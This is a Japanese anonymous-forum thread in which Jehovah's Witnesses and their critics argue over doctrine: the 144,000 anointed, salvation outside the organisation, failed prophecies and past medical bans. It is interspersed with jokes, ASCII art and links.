犯罪者等の悪い人をひっくるめて「偽りの組織」だと言うと
激しく反論を展開します。

あなた方、エホバの証人は自分達の執っている行動を覚えていないのですか？

>あなた方、エホバの証人は自分達の執っている行動を覚えていないのですか？

覚えている人は「無期延期ショック」で出ていきました、まる

>>720
＞エホバの証人をクリスチャンと認識している人は少ないと思われます。
人の眼にどう映るかはさほど重要ではありません

エホバ信者が主催しているチャットルームです。エホバのことならｙｏｕにどうぞ。
http://chat.msn.com/chatroom.msnw?rhx=2523E29886E3819FE38293E381BDE381BDE29886&rhx1=%2581%2599%2582%25BD%2582%25F1%2582%25DB%2582%25DB%2581%2599

>>724
聖書的視点から冷静に分析して、エホ証はクリスチャンではないってこと。
これも重要ではないなかな？

>>726
成長する魔球　大リーグボール　知ってる？
＞聖書的視点から冷静に分析して、エホ証はクリスチャンではないってこと。
じゃあ　協会にそのこと教えてあげてね
問題点を改善しながら全体として成長しています
聖書的視点でみるなら完全な意味での組織やクリスチャンなんて存在しないよ　どこにも

信じる者しか救わない
セコイ神様拝むより・・・って思い出しちった。

みちのりさんへ
すいません。ちょっとでかけてて。
わたしが言いたいのはいま一部の者だけが生き残るという判断をするのは、早急に過ぎるということです。
神は全ての者が救われることをお望みです。なぜなら、神のそもそもの目的は１互いに愛し合いなさい。２それによって神を愛しなさい。（この順序は不同です）
そして、真のクリスチャンとは特定の組織に属しているものではなく、偽りのない愛によって神の御心を行なうものをいうからです。それは、別の組織にもいますし、ノンクリにもいます。実質的なクリスチャンをいうのだと思います。

確かに、最終的には全ての者がふるいにかけられるでしょう。
しかし、その選別をたかが人間ふぜいが勝手に決めてしまうのは、傲慢に過ぎます。全ては神のみが知っておられます。

>>729
　「それによって」を付けると順不同の注の意味がわからないよ。
【互いに愛し合いなさい】　【神を愛しなさい】
　この二つを並列に並べて、順不同と付記するならわかるけど。
　普通は、「神を愛しなさい」が先にくる。互いに愛し合っている
人々のことは、それによって神を愛していることがわかる客観的な
クリスチャンの生活態度だったりする。

そうですね。表現が適切ではありませんでした。

旧約聖書の記述を見ると、エホ証は、偽りの預言者的な存在で、神に裁かれている
ことが明白だと思うが、どうかな？
教義や発言の歴史を見ると申命記18章20-22節にバッチリ当てはまっているのでは
ないかと思えるのだが。
参考：ただし、その預言者がわたしの命じていないことを、勝手にわたしの名
によって語り、あるいは、他の神々の名によって語るならば、その預言者は死
なねばならない。あなたは心の中で、「どうして我々は、その言葉が主の語ら
れた言葉ではないということを知りうるだろうか」と言うであろう。その預言者
が主の名によって語っても、そのことが起こらず、実現しなければ、それは主
が語られたものではない。預言者が勝手に語ったのであるから、恐れることは
ない。

だからといって、すぐにエホ証の信者が滅びるとは自分は言わない。
エホ証をやめて、カトリックやルーテルや改革派教会に赴いて、キリスト教
の姿がどのようなものか、現状を身をもって知っていくのが良いと思う。
そこに真の「愛」がある限り、預言者としての賜物を受けいていると
主張しない信者の内にはまだ、天国への希望がのこされてるよ、きっと。
　エホ証の創立者が埋葬されている墓の近くには、フリーメイソンのシンボルに
似た石碑が記念碑として建っていたりするらしい。そのへんもキリスト教
としては疑問のある在り方だし、何よりイエスキリストの復活を信じ、
言葉を信じて「父と子と聖霊」の名に入れる洗礼を授けていないことは
良くない。復活した主が霊が降るまで「都に留まっていなさい」と言われた
ことや聖霊降臨そのもののことに繋がりを断っているのと同じこと。
これでは、神の御心を行うどころか、律法学者やファリサイ派と同じ事を
しているようなものだ。キリスト教ではないことが明白だ。

　　,,ｖ‐ｖ-/l＿　　(⌒)　
　　_「／￣　　く　　 /
　　lＹﾉﾉ/_ﾉl_ヽ)）
　　＜ｲ（ l　l ）l＞　　／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　＜|）'|l､"(ﾌノ|l　　＜　インチキな解釈と理論はいけないと思います！
　　,(ヨﾘ<>o<>ﾘ'］　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　|ト‐!］-ム- i'］l
　　ヽ_ﾉｖ＿＿l/ /
.　 ﾉ［//‐─‐/_/､
　（ /E|, 　　(フlﾖ ＼
　,-|　El＿＿＿lﾖ　/
└-＼｀＾＾＾＾＾＾´／
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　　　　　　　　　　 ﾞ,~　　 ,.ri.　　.{　.!.!,i,',l ,',!,! l', l',l,,,!/　　　 .::::::::::::::!
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.　　　　　　　　　　　 ,>' .:r"l　　',.l,､‐''''i-　　　　 ''i;'　　 .:::::::::::::::::::,'
　　　　　　　　　　　〈-､::::ﾞ'‐!.　,. '､ゝ;;;:j　　　　　 /. 　 .::::::::::::::::::::,'
.　　　　　　　　　　　 ﾞ､ ﾞ''‐-l　 ', .ヽ｀.´　　　　' ,.'　　 .::::::::::::::::::::/　　>>675！
　　　　　　　　　　　　 ｀,i‐､..}i　 '.;:.　ﾞヽ　 　ヾｿ'　　 .:::::::::::::::::::,.'　はるまげ丼一丁
.　　　　　　　　　　　　 /　;. ﾞ,ﾞ, 　 ';:　 ﾉ,,､-''"　　　.::::::::::::::::::,r'　　　くださいな！
　　　　　　　　　　　　/　,.'-‐ﾞ'',-,､,i'"ﾞ! "　　　　 .::::::::::::::::,r'"',
　　　　　　　　　　　 /　i'r"ﾞ'´｀　｀'''>'　　　　　　ﾞ,::::::::::;r':! 　 ',
.　　　　　　　　　　 / .,､'´　::､　.:,r'"　　　　　　　 ﾞ､:::::'::::::',. 　 ',
　　　　　　　　 　 / .,.!　 ..　 :ﾞ'::,'　 　､.l.　　　　　　ﾞ､:::::::::: ﾞ､.　 ',
　　　　　　　　　/　/,',　...::.:::::::,'　　　 ﾞ'i.　　　　　　 ﾞ､:,',:::::. ﾞ､　'ﾞ､
.　　　　　　　　/ , ', ' .i､:::::::::,r'　　　　　',　　　　　 　 ﾞ､':::::::::. ﾞ､　ヽ
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>694みちのりさんへ
「JWが選民であるのではない」とおっしゃっていますが、
１．神は一つの組織をもちいて、ご自分の民を導く。
２．神の組織＝エホバの証人。それ以外はサタンの組織
というものみの塔の教理に反していませんか？

>>737
最終的に神の目にかなった者が選ばれる
ＪＷは予備校のようなものだよ

>>738
予備校じゃあ行く必要はないね。
漏れは宅浪でいい。

結局のところ、良識的なエホ証にこの手の質問をすると
ものみの塔とは違った答えが返ってくるということを
指摘したかったのです。

「生き残る人は神しか知らない」とかね。
それと、「人間は不完全ですから。。。」
とかさ。
そういう逃れ道を作っておきながら
「霊感によると。。。」
「油注がれた残りのものが。。。」
とか言わんといて下さいよ。
全く反省のない人たちだよね。あんたがたは。

みちのりさん、
ちゃんと答えてね♪

イエスはペテン師。
語れ

30過ぎて独身、童貞、パート暮らしの兄弟達、
生きてて悲しくならないですか？

>>737
わたしたちはエホバの証人である事が救いと直接関連しているとは考えていません。その組織は霊的食物を得るための一つの経路にすぎないからです。
たびたび申し上げたとおり、購いの犠牲に個々の人々か信仰を働かせることによって救われるのです。

>>743
ＪＷという組織に属していなくてもﾊﾙﾏｹﾞを生き残る人もいる、というわけですね。
あんまり嘘ついちゃだめですよ。
少なくとも集会でそういうこと言えないでしょ？
公開講演でそんな話しをする人を私は少なくとも知りません。

>>744
＞ＪＷという組織に属していなくてもﾊﾙﾏｹﾞを生き残る人もいる、というわけですね。
そういう可能性はあると思いますよ　可能性はね
なぜなら、病気や何らかの理由により神の教えを学ぶことができない人もいるわけです
そうした人を神は”選択的予知力”を行使して組織に属していなくても救われると考えてよいのではないでしょうか

>>745
＞病気や何らかの理由により神の教えを学ぶことができない人もいるわけです

ﾊﾙﾏｹﾞ時に、まだ判断力のない子供たちもその範疇には入らないのでしょうか？


全ての国の人々に述べ伝えられなければ終わりは来ないんですよね？
年鑑などをみるとまだＪＷの人数が少ない国はかなり多いから、まだまだ先っぽいですね。

ＪＷと接する前に死んだ人たちは無条件に復活するんですよね？
そうした人は少なくとも1000年近くは生きていられる。しかも楽園で！
それって不公平じゃないですか？

ワイルドキャットさんへ
組織に属してなくても救われます。これは断言します。
私達は救われたいと思って信仰するのでなく、神の主権を
擁護したいと思っているだけです。先に真理を知れた喜びとも
いえます。仮に真理を知らず、ほとんどの人が救われたとしても、
私達はむしろ大きな喜びを抱くことでしょう。神はなんと愛に満ちた
方なんだろうと。今のこの苦しみの時代に真理を知れたということは、
ホントに素晴らしいことであり、希望に満たされ生きていくことがで
きるので感謝の気持ちでいっぱいです。誰が救われるとか、滅びるかな
んて野暮なことは考えませんよ。

>>747
「あなたは組織から離れたのだから滅びるのよ」と言われたことのある2世は多し。
羊か山羊かを分けるために伝道をしてるのだと思ったがあれは記憶違いだったのかな？
（それともまた理解に変更が加えられたのかな？）

Wildcatさんへ
子供もその範疇に含まれますよ。
復活してくる人々には今日と同じように神の真理を学びそれに答え応じるかどうかの機会が差し伸べられます。千年という長い期間に渡って、その機会が開かれているわけではないのです。
羊と山羊に関する理解はかなり前に変更されていますよ。それをわける業は裁きの日に神が行われます。
わたしも幼い頃は、離れたら滅びると言われ続けてきました。その時代のJWはいささか極端でしたね・・・

通りすがりですが・・・
エホバの証人の、訪問勧誘うざい。（勧誘とは言わないのかな？？）
何回も何回も　ホントしつこい。

勧誘にあったことがありません。
外人二人組みならあるけど

romしています。
ちょっと忙しいので発言は無し。。。（多忙。

みちのりさんへ
確かに、わたしの復活の理解はだいぶん違うようですね。わたしは、一般に言われているところの復活がどういったものか理解できません。しかし、楽園の到来はあると思っています。詳しく教えて下さい。

>>747さん
組織にこだわる必要性は無さそうですね。
間違っても、「王国会館」には誘わないで下さいね。＾＾

で、一つ聞きたいのですが、「真理」って、ものみの塔の打ち出している
聖書解釈からの教理の事ではないですよね？

>>754
真理とは神のみ言葉です。
エホバの証人の場合、油注がれたものを霊的食物をつかさどらせる(多くの訳では:ゆだねる)グループであると認識しています。マタイ24:45-47
しかし、それらの人々の真理を理解しようとする誠実な努力は評価できますが、彼らも他の人と同じように不完全です。
‘ゆだねる’という表現から、その対象が不完全な人間である以上、そのグループの与える食物がいつも完全なものである事を、神が期待しておられたわけではない事が分かります。
エホバの証人であってもなくても、ベレアの人々と同じように聖書を綿密に調べる事によって、真理に対する認識を強めなければなりません。

いまさんへ
楽園が来る事は信じられているのですね。では、今まで死んだ人には何らかの希望があると思いますか？

いまさんへ 追伸
無理なら仕方ないのですが、もしよろしければ[email protected]へメールください。

送ってみたんですけどかえってきました。エラーとかなんとか。アドレス短い気がするんですけど。

結局、どこの組織も不完全には変わりがない訳でして･･・

＞エホバの証人であってもなくても、ベレアの人々と同じように聖書を綿密に調べる事によって、
＞真理に対する認識を強めなければなりません。

別にカトリでも、プロトでも、正教会でも、「聖書を綿密に調べて真理に対する認識を強めればＯＫ」って
事ですね。
たまたま、ものみの塔で学んでいるだけだと・・・そうおっしゃりたいの？かな？

いまさんへ
おかしいですね・・・ほかの方からのメールは届いているのですが・・・アドレスはカキコしたのであっていますよ。

また送ったんですけどやっぱり無理のようです。仕方ありませんので、このままでかまいませんか？
過去の人々の救済もあると思っています。

>>761
いまさんへ　　メールのことだけど入力間違えていないかな？
ハイフン　ー　　とアンダーバー　＿　　は違うと思うよ
あと半角と全角の違いなどないかな？
おせっかい　ぴょーん！

はい。間違っていないようです。おかしいですね。イージーウェブから返ってきたんですけどね。

おかしいですね・・・確かに送れないみたいです。携帯のアドを公開するわけにはいかないですしね。今仕事中なので、返事は後ほどカキコミします。

すみません。仕事中ですか、こんな遅くまでたいへんですね。頑張ってください。

えーと、
私も油を注がれているみたいなので、
エホバの証人さんの持っている14万4000人枠を
14万3999人にしといて下さいな。。。。



と言ったら、どうなるかな?

>>749
＞子供もその範疇に含まれますよ

そうだとしても両親がいない楽園でその子供は幸せなんだろうか？
そういう子供がいっぱいいるわけだよね？　俺だったらやだなぁ。

＞わたしも幼い頃は、離れたら滅びると言われ続けてきました。その時代のJWはいささか極端でしたね・・

あのー、今現在の話なんですけど・・・。
組織に戻って来いって必死に親が言えば言うほどそのように感じます。

>>766
夕食のギョーザにラー油を注いで食べました。やっぱ夏は辛い物を食って乗り切るに限るね（笑）
よって俺も油注がれた者です（爆）

真面目な話しね。
ｂｏｙ’ｓさんが来年の春に行われる記念式に出席して、パンとぶどう酒に与ってもカウントは
されないよ。会衆の長老が「この人ならそうかもしれないな」と思わない限り、協会には人数を
報告しないのだそうです（元ちょーろーの父親談）

>>746
＞全ての国の人々に述べ伝えられなければ終わりは来ないんですよね？
＞年鑑などをみるとまだＪＷの人数が少ない国はかなり多いから、まだまだ先っぽいですね。

エホ証の知人からは「信仰するしないに関係なく、すべての人々に宣べ伝えられれば」終わりが到来というように
聞いたことがあります。つまり勧誘攻撃をすべての人が受けた時点ということになりますね。
それでもどうでしょう、全人口の半数も伝えたでしょうか。伝えてないのでは。
いずれにしても、「もうすぐ来る」って脅すのは大嘘つきですね。
（100年単位の時間をもうすぐだと言われればそれまでですが）

で、かねがね思っていたことです。エホ証の方々への質問というか、アドバイスです。

毎度、近所を歩くのではなく、世界の宣べ伝えられていない地域へ行き、
勧誘してはいかがということなんです。
ウザイキモイと言われながらいつも同じところを回るより、
ひょっとしたら「よく来た」と歓待されるかもしれないじゃないですか。
その上、ハルマゲあぽ〜んの日も近づく。

どうです？　まあ、おばちゃん連中は尻込みするだろうけどね。　
若い現役の方々、２ちゃんなんかやってる場合じゃないですよ。
世界へ旅立とう。

そうですね。どちらかと言えば、日本は宣教者を受け入れる側でしたから、今度は日本から必要とされる地域に宣教者を遣わしませう。

いまさんへ
アドを変更してみました。もう一度メールしてみていただけませんか？[email protected]

やっぱりだめでした。アド変えても返ってきてます。

＞769
いわゆる発展途上と言われる国々では、JWの音信はおおむね
歓迎されるようです。日本からも宣教者が増えていますよ。

>>769
まだお前は気触れていると言われるかもしらんが、
現役は2ちゃんなんかみてないだろうと思う。

>>768 wildcatさん
主の記念式で、新たにパンとワインを食するのはスゴイと思うけど
食した人を、「あの人は違うでしょ。」と判断するのもね。
その行為を考えるだけでもＪＷは間違っている気がしますね。


----ぼけモードon----

wildcatさんは、油が注がれた人じゃなくて、油を注ぐ側の人だったんだ。

＞食した人を、「あの人は違うでしょ。」と判断するのもね。
その行為を考えるだけでもＪＷは間違っている気がしますね。

同意。
結局、人間の価値基準で物事を進めているくせに、そこに神の
霊感が注がれていると主張する。無茶苦茶だよね。

http://tmp.2ch.net/test/read.cgi/company/1026700398/l50

誰がたてたの？

確かに人が判断すべき問題ではないですね。
ただ、正直いって、あなたは違うだろ〜ってツッコミたくなるのも分かります。
真理を学んで間もない人や、行状が模範的でない人がそれに預かるときがあるからです。自分の熱意などを聖霊の働きと勘違いするのでしょう。
いずれにせよ、本人が自分がそうであると述べる場合、記念式で預かることはできます。

>>778
あいまいでいい加減だな。

主の記念式ってなんですか？
カトで言うところの聖餐式みたいなものですか？

折原って現役なの？

預かっても、どうにもならないけどね・・・

現役でHP作る奴はくず！！！！！！！

>>769
そうですね、人口の多いインド、中国、バングラディシュ、パキスタンなどアジア地域だけでも
ＪＷが少ない国は多いです。少なくともそれらの国に日本と同じ位の頻度で伝道してなきゃ
「公正・公平」な神であられるエホバが許されない事でしょう。そうですよね？＜現役さんへ

>>775
そうなんすよ、最近炒めものの料理ばっかりやってるから、油注ぎまくりですよ（笑）
あくまで自己申告制、なので毎年人数が減らないみたいよ。
ご存知のとおり1935年には集める業は終了してるんですけどね。
最近あずかるようになった人は「反逆した人が出てきたので、その継穂なんだ」というのが
ＪＷの主張ですが、そうだとしても高齢化にともない人数は減らなきゃおかしいんだけどね。

>>779
めざめさんおかえりー。

>>783
そんなことはないよ。ちゃんと書いてあるはずですよ。「個人的なＨＰでありＪＷとは関係
ありません」ってね（笑）　表現の自由は尊重してあげなきゃ。

マッチポンプ。

>>780
>主の記念式ってなんですか？

カトリックの聖餐式に近いですね。
毎年、春ごろ（ニサンの14日）に行われる行事です。

カトリックやプロテスタントはみんなでパンとワインを食しますが、
エホバの証人では、「油が注がれた14万4000人」だけが食べられて
他の人は見るだけかな。。。

違いましたっけ？

油が注がれた14万4000人ってどうやって決められるんですか？

レイモンドフランズは天的な希望を持っていたのに、
組織から離れるのか。よく分からん。全然油そそがれて
ねーじゃねーか。あいつはエセだ。

油注がれた者は終わりの日に初めて開かれる命の書に書かれているもののことだよ。

命の書……終わりの日に開かれるってことは
見れないってことですよね。

そして、そこに書かれているものは世の始めから決まっているんだ。

ひゃ〜見たい！

ここはサタンと悪霊の巣窟ですか？

>>793　ここにカキコしているのは皆「人間」です。

しかし、悪霊が書かせています。

>>787
>油が注がれた14万4000人ってどうやって決められるんですか？

うん。
私もエホバの証人さんに聞きたいです。
もう「なんとなく。」としか言いようがないね。


わー、今日の始めての食事中。
マックのバリューセット。

どんなに忙しくてもエホ証が気になってしょうがない
boy's(w

えっ　　なんとなく　なの　？

辞めて何年たってもエホ証が気になってしょうがない
Ｙるどきゃっと（w

>>798
「なんとなく。」じゃないの。たぶんね。

「なんとなく。私は14万4000人に選ばれた。」と自覚して、
「なんとなく。あの人は、そうなんじゃない。」と思われて。

べつに色が変わるわけでもないからね。

否定も肯定も出来ない事を有り難がってるんじゃないかな。
1914年にキリストが天で統治を始めた。っても謎ですしね。

「なんとなく」というか「自己判断」ってことですね。

油が注がれた人間とエホバが認定したかどうか誰もわからない罠

カトの法王の権威の由来は？

カトの初代教皇はペテロで、イエスがあなたの上に教会を置くと言ったんだそうな。（諸説あるみたい）
めでたしめでたし。

あっ、上の諸説ってのはペテロが初代教皇だってことについてっす。
めでたしめでたし。

結局のところ、ものみの塔の教理が破状してるから
みちのりさん始め、信者の方々は突っ込みに対して
きちんと答えられないから、聖書の原則とか、愛ある神は。。。
などと言って答えるしかなくなるんだよね。
論理じゃ勝てないんだよ。
ご苦労なこった。可愛そうに。。。
海老名の連中、しっかりフォローしてあげろよ。
どうせ見てるんだろ？

こうしてやりとりを見ているとJW以外の方も様々な疑問を持っておられるのですね。

組織に関するわたしの見方は>>486にカキコしています。

神は今日、かつて神の民であったイスラエル人に対して行ったほどの直接的な関与はしていません。
律法のように生活すべてを規制するものは今はなく、基本的な原則を理解し、一人一人が自発的に生活に当てはめる事を、神は期待しておられます。そのようにして段階的な仕方でご自身の民を訓練してこられました。
今日、聖書を神の権威として受け入れる方は、現代の神の民は律法の元にはいない事が、古代のイスラエル人に律法が与えられた事を間違ってると考える理由であるとはないでしょう。
同様に今日神の民であると唱えるグループに教理上の変化があるからと言って、必ずしも彼らが偽り者であると結論づけるのは時期尚早と言えるのではないでしょうか？

>>806
わたしは議論に打ち勝つ事を目的としていません。JW組織に対する批判的な意見と、それを擁護する意見を客観的に評価していただきたいと思っています。
JWの方でもし荒しや攻撃的なカキコミをされるかたがおられるのであれば、｢外部の人に対して知恵をもって歩むように｣との神の言葉について考慮されるようお願いいたします。

>>808
済みません。ちょっと表現に問題がありました。
つまり、自分が言いたかったのは
「ものみの塔の言ってる事は矛盾だらけで
教理に関して議論しても意味がない。」
と言う事です。
あなたの口調からして現役の方と想像しますが
こんなことしてても、時間の無駄であると思われます。
あなたたちは、教理が正しいから信じてると言うよりむしろ
信じたいから信じているのですから。
擁護したい気持ちは解りますが、こんなところにわざわざ来て
「外部の人」と論じ合うことに何の意味があるのですか？
そんな時間があったら「内部の人」の信仰を強めることに
精力を注いだ方がよっぽど有益であると思われます。

組織が不完全で意見を変えるのであれば、聖霊による導きがあるというようなことは、言ってほしくないです。
真理を教える立場であった昔の預言者達は自分の言葉を撤回したり、別の言葉を言ったりはしなかったはずです。
でなければ、心霊術を行なう者と同様多くの者をまどわすことになるからです。わたしはそれが心配です。
皆さん、それぞれ聖霊は受けているように感じます。
しかし、それは組織が受けているのではなく、個人で受けているのです。信じて求めるものは与えられるであろうと言われた通りです。

しかし、私たちは全ての霊感の表現を信じるなと言われていることも事実です。全てを吟味せよと。
現に、イエスも、あなたがたはどうして自分で正しいことを判断しないのかと言われました。
会衆に一方的に出版物を与えるだけではなく、霊的な意味での独立を促すやり方（党派心ではなくて）を執るべきです。

>>807
>律法のように生活すべてを規制するものは今はなく、基本的な原則を理解し、
>一人一人が自発的に生活に当てはめる事を、神は期待しておられます。
ということになると、ものみの塔協会のやっていることは
神の意志を全く反映していないと言うことになりますね？
数え上げたらきりがない程の規則・提案・罰則。。。。。
あなたが、神の意志を反映していない組織に対する隷従を望みたいのであれば
そうすればいい。
でも、「これだけ我慢したのだから神はきっと救ってくれるんだろう・・・」
そんな期待感をもって人生を歩んでいますね？

>>811 いまさんへ
>皆さん、それぞれ聖霊は受けているように感じます。
そんなことあるわけないよ。
そう思いたくなる気持ちは解るけどさ。
聖霊は神の活動力でしょ？
いわゆる、神のご意志を伝える力のこと。
それがなんでバラバラなの？
統治体のメンバーも多数j決で決めてるしさ。
ちなみに忠実で思慮深い奴隷級は地上に８０００人くらい残ってるのに
なんで、１２人くらいの人の意見で決まっちゃうの？

806さんへ
神の御意志を伝えるという聖霊ではなく、別の働きの部分です。
確かに、預言というものについては見解が変わる以上聖霊は受けてないでしょう。
しかし、聖霊に色々な働きがあるのは一コリに書かれているとおりです。
皆さん（末端の人たち）安らかな顔をしていますよ。そういう意味で言ったんです。

言い忘れましたが、私は組織に対してはかなり懐疑的です。

いまさんへ
ひょっとしたらメールが届くようになったかもしれません。お手数ですがまた試してみてください。

返ってこないようですから届いたみたいですね。
宜しくお願いします。

>>814 いまさんへ
>皆さん（末端の人たち）安らかな顔をしていますよ。そういう意味で言ったんです。
意味が良くわからないのですが。。。
安らかな顔をしている人＝聖霊を受けている
ということですか？
そりゃ、永遠に生きられるなんて本気で思い込んでたら
多少のことで悩んだりしないでしょう。
安らかな気分にもなりますよ。
それより、何で末端の信者に聖霊を送って
霊的食物の経路である統治体にまともな聖霊を神は送らないのですか？
その方がよっぽどおかしいと思います。

>みちのりさんへ
質問に答えてくださいよ。宜しく！

たしかエホバの証人だったかなあ・・・・
家にきて「世界の終わりについて話しませんか？」と、きた人・・・
俺プロテスタントなんだけど・・・

>>819
村上春樹です。
「世界の終わりとハードボイルドワンダーランド」
を売りにきたんです。
僕のときには
「ノルウェーの森に行ってみたいと思いませんか？」
ってきたからさ。

806さんへ
さぁ、何ででしょうね？
恐らく統治体の兄弟の思い込みの部分もあるんじゃないでしょうか？聖書の預言については理解が浅いように感じるのは私だけでしょうか。
まぁ、聖霊を受けているように感じるのも私の思い込みかもしれませんね。

忠実で思慮深い奴隷級８０００人←思いこみの激しい単なるアフォ

>>793,795
そんなこと言うから「ＪＷはオカルト好き」と言われるんですよ。

>>799
そりゃ気になるよ（ｷｯﾊﾟﾘ）
明らかに辞めたほうが幸せになる私らのような人が、現役として多く残っている今の現状を
見ればね。これから日本の伝道者数がどこまで減っていくのか、それも気になるよ（藁

>>807
＞同様に今日神の民であると唱えるグループに教理上の変化があるからと言って、必ずしも彼らが偽り者であると結論づけるのは時期尚早と言えるのではないでしょうか？

その通りです。そのグループが生み出している実によって見分けられるのです！
その結果、ＪＷ以外の大勢の人々はＪＷが神の民ではないという証拠を数多く見てきました。
・・・・・。
メールでも送ったけど、臓器移植がＯＫ＞ＮＧ＞ＯＫっていう変化をしたのはちょっとまずいんじゃないのかな？
それとソドムとゴモラの人が復活するかしないか二転三転したけど、結局どっちなの？＜もう忘れた。
ＡかＢか、っていう判断すらできないのは、完璧な神様から教えられてるとは思えないっす。

>>821 いまさんへ
>恐らく統治体の兄弟の思い込みの部分もあるんじゃないでしょうか？
思い込みで人の人生を（生死さえも）弄んでおいて
（輸血拒否で死んだ大勢の人がいるという現実があります。）
後から教理を変更し、挙句の果てに
「おまえらが勝手に思い違いをした。」
などとのたまうことは、とても人間のやることとは思えませんが、どのように感じますか？

>聖書の預言については理解が浅いように感じるのは私だけでしょうか。
浅い・深いじゃなくて、神からの霊感が働かなければ
解明できない問題であると考えます。
明らかに予言をはずしていると言う現実を考えると
ものみの塔は、神が聖霊によって導いている組織ではないと思います。

806さんへ
〉神からの霊感が働かなければ、解明できない問題であると考えます。

確かに！！！
その通りだと思います。



なにぶん研究生なので過去の事実的なことはよく知りませんが、あとで解釈を変更しておいて、そのような勝手なことを言ったのであれば最低な組織だと思います。
個人的にはいまの段階で、預言の解釈が恣意的なものであるのが、一番イヤです。話を聞いていて自分が小さくなったように感じます。
出来れば過去のことをもっと知りたいです（携帯なのでインターネット接続は出来ませんが）。

ものみの塔の崩壊していく様がすごく気になってしょうがありません。

>>825
>なにぶん研究生なので過去の事実的なことはよく知りませんが

今の輸血禁止みたいに、昔は予防接種と臓器移植も禁止してたみたいよ。
今は予防接種と臓器移植はokみたいね。

過去のケースを考えると、輸血もokになるんじゃないかな。

えーと、ソースはなんだっけ。
どなたか知りませんか。

神は怒っておられます。ものみの塔の崩壊はそのせいです。
あああ−−あ、神様を怒らせちゃったんだもん。

すげー遅い反応だが、さすが2ch、やはりエホバの証人スレがあったのか。
輸血解禁に向けた動きがあるって噂を聞きつけてやってきました。
予防接種は昔からOKだった記憶があるなぁ。

輸血解禁？よい、悪い、よい、悪い、サイコロ転がして決めてるようだよ。

　　　　/''⌒l⌒ヽ
　　　 8/ノﾉlヽヽ8
　　　| (| （┃┃| | 　　 ／￣￣￣￣￣￣
　　 .l从ゝ__∩_从l 　＜ おはようエホバ♪
　　　　/　　 　 ＼ 　　 ＼＿＿＿＿＿＿
　　　〈　| ゜　 ゜| 〉
　　　 ヽｌ　　 ,　ｌﾉ
　　 ('ヽ(　⌒Ｙ　)つ
　　　 ヽ､____人__ノ

　　　　　　　　　川川三三三ﾐ〜
　　　　　　　　｜川／　　＼｜〜　
　　　　　　　　　‖　◎---◎ |〜　　えほばはアメリカ政府が守ってくれる！
　　　　　 　　　∂　///　///ヽ〜　ﾊｧﾊｧ！
　　　　　　　　　ﾉ　 ∴）д（∴）〜
　　　　　　　　彳　　　　　　　/〜　　　　　　　　　　 ＿＿＿
　　　 　　ノ　　　　　　　 〜　/〜　ﾋﾟｭｯﾋﾟｭｯ　　　 .|　 |　　 |＼＿
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　＼:::　　　　　　（;;;　）;; ）　 ＼　　　　　　 .|　|　　　　　　　　　.　..|.|
　　 ＼　　　　　　　　＼;;;　　　＼ 　　　 .　|　|　　　　　　　　　　 ..|.|

いろいろとご質問いただいているのですが、わたしは携帯からアクセスしてますので、そのすべてを把握しきれないのが現状です。
ご了承ください。

>>833
べテルの個室ってADALやダイヤルアップでインターネットするの禁止なんですか？

訂正です。
預言→予言

>>829
予防接種禁止のソースは「黄金時代 1921年10月」ですね。
まあ、「禁止」じゃなくて「指導」かなあ。
実質的には禁止みたいだけど。

http://watchtower.observer.org/
のVaccinations（予防接種）をクリックしてください。

お勧めＨＰ
ttp://homepage2.nifty.com/ichikawakita/witness/blood.html

ちと長文ですが、ＪＷが過去いろんな間違ったことをどうどうと発表してた事実が
書かれてるよ。第１章だけでも読んで下さいまし。
可哀想にパスツールなんてボロクソに非難されてるよ。

うふ。
「ピンクの別荘の信仰の薬」ってなんだろ？
長生きする薬？？？..........思いっきり危ないじゃん。

wildcatさん
探して頂いてありがとうございました。
ですが、やはり見れませんでした。すみません。

>>839
いまさん、ＵＲＬの頭に「ｈ」をつけてますか？
それともＰＣの調子が悪いのでしょうか？
もう一度貼っておきますね。これで大丈夫かな？
http://homepage2.nifty.com/ichikawakita/witness/blood.html

ヤヴァィ宗教発見。

　　 　 　　　　　 　 , -───- ､
　　　　　　　　,..‐'´　　　　　　 　 `ヽ、
　　　　　　 ／::　　　　　　　　　 　 　 ヽ
　　　　　 /:::::::::　 ,,:‐'''"ﾞ´　　　　 ｀ﾞ''‐､ i
.　　　 　 l ::::::::::.　　　 　 　 　 　 　 　 　 l
　　　　　|..::::::::::::...　,. -─- ､　　, -─- ､|
　　　　,r'⌒ヽ====ｉ　r' @ }　l⌒i （@ ヽ　}＾i　　 　 　 r'´￣￣￣￣￣￣￣￣￣
　　 　 ! ::｀ヽ :::::::::::ヽ,〜 '~_ノ　__ヽ ~し､ｿ､ﾉ　　　　　|　なんちゅうスレを
　　 　 ヽ::::（:::::::::::::::;ィ ￣,J　　　 ｀ヽ￣j )ヽ　　　　 ,ﾉ　 立ててくれたんや…
　　　　 {. :::::::::::::::r'´ ,ｕ'~　 　 ､＿_,丿･! (､ l　　　 '⌒i
　　_,.. ‐'`ｉー'!:::::j　 (　｡　 ノ ,ゝj~｀U ヽ ~:J |　　　　　|　　なんちゅうもんを…
‐''´:!::::::::l::|:::::l:::::) ん' ﾟ ／　(,'´　__　　 ,）( ､l　　　　　 ヽ､＿＿＿＿＿＿＿＿＿
:::::::::|:::::: l: l:::::ﾉ´j　　､（　　´　（~ ,＞<〈　 ソ~｡‐.､
::::::　|　　 ! l　~ ｡　　　　　　　 ､´　,　 ` ﾉ'　|｡　　 `‐
　 　 |　　 l ヽ　　　　　　 ＿_ 　￣_,. イ/ 　 !
　 　 :l　　 ヽ.ヽ　　 　 　 ,.、　,￣ -‐'//　　 |
　　　 l　 　 ヽ ヽ.　　 ／／ / 〉 　 :// 　 　 |
　　 　 !　　　 ヽ ヽ／／　./ / 　 ://　 　 　 !

エホさん、

まあ、グチャグチャ言ってないでさ、このスレで自慢してみなよ。
「この宗教に入ったらこんなに得するゾ自慢スレ」
無理だと思うが……
↓

http://life.2ch.net/test/read.cgi/psy/1027091021/l50

wildcatさん
見させて頂きました。ありがとうございました。

まあ、輸血問題を解決する方法は一つしかない。
それは協会の解釈を変更することなんだな。
実際、内部でそうすべきだという意見もかなり多い。

それが出来ない理由は、協会の単なる意地。
輸血の是非は今や協会にとってどうでもいい。しかし
ここまでかたくなに輸血を禁止してきた協会が
今更ＯＫなんてできない。

結局、タイミングを見計らってＯＫすると思われるが、
そのときはもっともな理由をつけて責任回避を図るだろうな。

　私は物好きなのか、聖書コレクターだからか、反エホバの本で新世界訳聖書が取り上げられていたのがきっかけでエホバに関心を持ちました。
